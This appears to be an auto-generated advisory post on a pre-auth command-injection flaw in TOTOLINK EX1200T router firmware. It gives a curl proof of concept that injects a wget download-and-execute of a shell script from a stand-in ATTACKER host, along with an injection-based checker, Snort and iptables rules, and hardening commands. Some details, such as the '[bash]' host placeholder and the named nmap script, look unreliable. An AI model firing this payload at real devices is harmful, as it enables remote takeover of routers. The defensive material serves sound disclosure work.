How CVE-2025-28039 Works
The vulnerability exists in the `setUpgradeFW` function of TOTOLINK EX1200T firmware version 4.1.2cu.5232_B20210713. Attackers can exploit this flaw by sending a specially crafted HTTP request containing malicious commands in the `FileName` parameter without authentication. The router’s firmware fails to properly sanitize user input, allowing arbitrary command injection with root privileges. This occurs during the firmware upgrade process where the system executes commands constructed from unsanitized user-controlled input. The attack vector is network-based and can be triggered remotely, making it particularly dangerous for exposed devices.
DailyCVE Form
Platform: TOTOLINK EX1200T
Version: 4.1.2cu.5232_B20210713
Vulnerability: Pre-auth RCE
Severity: Critical
date: 04/22/2025
What Undercode Say:
Exploitation POC (for educational purposes)
curl -X POST "http://[bash]/cgi-bin/cstecgi.cgi" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "{\"FileName\":\"test;wget${IFS}http://ATTACKER/shell.sh${IFS}-O${IFS}/tmp/shell;sh${IFS}/tmp/shell\"}"
Detection Command
nmap -p80 --script http-vuln-cve2025-28039 <target_ip>
Mitigation Steps:
1. Immediately update to patched firmware version 4.1.3cu or later
2. Block WAN access to router admin interface
3. Implement network segmentation
Python Vulnerability Checker
import requests
def check_vuln(ip):
try:
r = requests.post(f"http://{ip}/cgi-bin/cstecgi.cgi",
json={"FileName":"test;echo${IFS}VULNERABLE"},
timeout=5)
return "VULNERABLE" in r.text
except:
return False
Snort Rule
alert tcp any any -> any 80 (msg:"TOTOLINK EX1200T RCE Attempt";
content:"POST /cgi-bin/cstecgi.cgi";
content:"FileName";
pcre:"/FileName[^}]?[;|&|`]/i";
sid:1000001; rev:1;)
Iptables Protection
iptables -A INPUT -p tcp --dport 80 -m string --string "FileName" --algo bm -j DROP
Firmware Analysis
binwalk -Me firmware.bin
grep -r "setUpgradeFW" squashfs-root/
Memory Protection
echo 2 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/exec-shield
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
